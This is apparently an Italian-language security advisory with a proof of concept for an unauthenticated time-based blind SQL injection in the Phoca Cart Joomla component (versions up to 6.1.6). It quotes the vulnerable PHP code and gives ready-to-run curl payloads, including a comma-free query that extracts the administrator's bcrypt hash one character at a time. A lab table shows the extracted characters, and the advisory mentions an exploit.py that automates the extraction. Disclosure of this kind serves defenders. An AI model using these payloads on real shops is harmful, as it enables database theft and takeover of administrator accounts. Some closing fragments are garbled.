
SQL Injection non autenticata tramite filtro attributi in Phoca Cart - CVSS 9.3
Phoca Cart ≤ 6.1.6 — Attaccante non autenticato estrae l'intero database tramite injection blind basata sul tempo
I parametri di tipo array a[] (attributo) e s[] (specifica) della richiesta GET nella pagina pubblica degli articoli del negozio di Phoca Cart vengono concatenati grezzi nelle clausole SQL WHERE senza parametrizzazione né escaping. Un attaccante non autenticato può iniettare SQL arbitrario tramite questi parametri, consentendo l'estrazione completa del database con tecniche blind basate sul tempo.
La vulnerabilità si trova in getSqlPartsArray() all'interno di admin/libraries/phocacart/search/search.php. La funzione chiama explode(',', $v) prima di costruire la lista IN(), ma non esegue mai l'escaping dei valori risultanti — quindi un payload privo di virgole passa intatto nella query SQL. Poiché getItemListQuery() viene chiamata due volte per ogni richiesta (getTotal() + getItemList()), un payload SLEEP(N) produce un ritardo osservabile di 2×N secondi, rendendo il rilevamento tramite timing molto affidabile.
| COMPONENTE | VULNERABILE | TESTATA SU | CORRETTA |
|---|---|---|---|
| Phoca Cart (com_phocacart) | 5.0.0 – 6.1.6 | Joomla 5.4.7 + Phoca Cart 6.1.6 (PHP 8.2 / Apache) | 6.1.7 |
Tipo: SQL Injection — Blind basata sul tempo (CWE-89)
Autenticazione richiesta: Nessuna — endpoint accessibile pubblicamente
File: admin/libraries/phocacart/search/search.php
Il modello degli articoli legge i parametri a[] e s[] direttamente dalla richiesta HTTP senza sanitizzazione:
SITE/MODELS/ITEMS.PHP — RIGHE 92–93
$this->setState('a', $app->getInput()->get('a', '', 'array')); // ← raw array from GET
$this->setState('s', $app->getInput()->get('s', '', 'array')); // ← raw array from GET
Questi valori vengono inoltrati a getSqlPartsArray(), che suddivide ogni valore in base alle virgole e inserisce i frammenti risultanti direttamente nella clausola SQL IN():
SEARCH.PHP — GETSQLPARTSARRAY() RIGHE 318–363 (VULNERABILE)
foreach ($value as $k => $v) {
$a = explode(',', $v); // splits on comma — but does NOT escape
$a = array_unique($a);
if ($k && $v) {
if ($searchArea == 'a') {
// ANY method — $a values are NOT escaped before implode:
$inA[] = '(at2.alias = ' . $db->quote($k) . ' AND v2.alias IN ('
. '\'' . implode('\',\'', $a) . '\'' // ← raw user input injected here
. '))';
// ALL method — $v2 injected raw into double-quoted context:
foreach ($a as $v2) {
$inAS[$iA] = 'at2.alias = ' . $db->quote($k)
. ' AND v2x' . $iA . '.alias = "' . $v2 . '"'; // ← raw $v2
$iA++;
}
}
else if ($searchArea == 's') {
// specification filter — same pattern, same flaw:
$inA[] = '(s2.alias = ' . $db->quote($k) . ' AND s2.alias_value IN ('
. '\'' . implode('\',\'', $a) . '\'' . '))'; // ← raw
}
}
}
Il frammento SQL risultante viene inserito nella query principale:
a.id IN (
SELECT at2.product_id FROM #__phocacart_attributes AS at2
LEFT JOIN #__phocacart_attribute_values AS v2 ON v2.attribute_id = at2.id
WHERE (at2.alias = 'color' AND v2.alias IN ('INJECTION POINT'))
GROUP BY at2.product_id HAVING COUNT(at2.alias) >= 1
)
getActiveFilterValues() in filter.php applica filterValue($item, 'alphanumeric') ai valori a[]/s[] per il livello di visualizzazione. Tuttavia, getSqlPartsArray() legge gli stessi parametri direttamente da $app->getInput()->get('a', '', 'array') senza alcuna sanitizzazione applicata, aggirando completamente la protezione del livello di visualizzazione.
Nessuna autenticazione richiesta. La vista degli articoli (/index.php?option=com_phocacart&view=items) è accessibile pubblicamente. Non è necessario configurare attributi o specifiche nel negozio.
Un utente non autenticato può accedere al portale di shopping senza alcuna credenziale.

Richiesta grezza catturata in Burp Suite — tempo di risposta di base: 76ms.

a[])Un payload SLEEP(3) viene iniettato tramite il parametro a[color]. Poiché getItemListQuery() viene chiamata due volte per ogni richiesta, il ritardo previsto è 2 × 3 = 6s. Osservato: 7085ms — confermato.
# Time-based blind SQLi — SLEEP(3) fires twice → ~6s response
curl -s -o /dev/null -w "%{time_total}s\n" -G \
--data-urlencode "option=com_phocacart" \
--data-urlencode "view=items" \
--data-urlencode "a[color]=x' AND (SELECT COUNT(*) FROM (SELECT SLEEP(3))z) AND '1'='1" \
"http://TARGET/index.php"
# Result: 7.085s — CONFIRMED
# Specification filter (s[]) — same code path
curl -s -o /dev/null -w "%{time_total}s\n" -G \
--data-urlencode "option=com_phocacart" \
--data-urlencode "view=items" \
--data-urlencode "s[spec]=x' AND (SELECT COUNT(*) FROM (SELECT SLEEP(3))z) AND '1'='1" \
"http://TARGET/index.php"

Sostituendo SLEEP(3) con SLEEP(0) si ottiene una risposta immediata (1064ms), confermando che il ritardo è causato dal SLEEP iniettato e non dalle condizioni di rete.

Estrai l'hash bcrypt dell'amministratore un byte alla volta. Vincolo critico: explode(',', $v) suddivide in base alle virgole prima di costruire l'SQL — i payload devono usare SUBSTRING(str FROM pos FOR len) (sintassi con parole chiave ANSI) per evitare il troncamento alle virgole, e CASE WHEN ... THEN ... ELSE ... END invece di IF().
# Extract ASCII value of char at position POS from admin password hash
# Replace POS (1-based) and EXPECTED_ASCII with actual values
# SLEEP(2) fires twice → 4s = match; <1s = no match
PAYLOAD="x' AND (SELECT COUNT(*) FROM (SELECT CASE WHEN \
((SELECT ASCII(SUBSTRING(password FROM POS FOR 1)) FROM jos_users WHERE username=0x61646d696e)=EXPECTED_ASCII) \
THEN SLEEP(2) ELSE 0 END as r)tmp) AND '1'='1"
curl -s -o /dev/null -w "%{time_total}s\n" -G \
--data-urlencode "option=com_phocacart" \
--data-urlencode "view=items" \
--data-urlencode "a[color]=$PAYLOAD" \
"http://TARGET/index.php"
Verifica in laboratorio — primi 12 caratteri dell'hash bcrypt dell'amministratore:
| pos | car | ASCII | risposta | corrispondenza |
|---|---|---|---|---|
| 1 | $ | 36 | >6s | ✓ |
| 2 | 2 | 50 | >6s | ✓ |
| 3 | y | 121 | >6s | ✓ |
| 4 | $ | 36 | >6s | ✓ |
| 5 | 1 | 49 | >6s | ✓ |
| 6 | 0 | 48 | >6s | ✓ |
| 7 | $ | 36 | >6s | ✓ |
| 8 | L | 76 | >6s | ✓ |
| 9 | N | 78 | >6s | ✓ |
| 10 | v | 118 | >6s | ✓ |
| 11 | t | 116 | >6s | ✓ |
| ... | ... | ... | >6s | ✓ |
Prefisso estratto $2y$10$LNvt... — l'hash bcrypt completo di 60 caratteri è recuperabile in ~240 richieste.
Lo script exploit.py incluso estrae automaticamente l'hash completo della password dell'amministratore senza iterazione manuale, utilizzando la stessa tecnica basata sul tempo descritta sopra.
python exploit.py http://TARGET

com_phocacart installato e un front-end pubblico è sfruttabile.INSERT / UPDATE / DELETE arbitrarie, inclusa la creazione di nuovi account amministratore o la modifica dei registri degli ordini.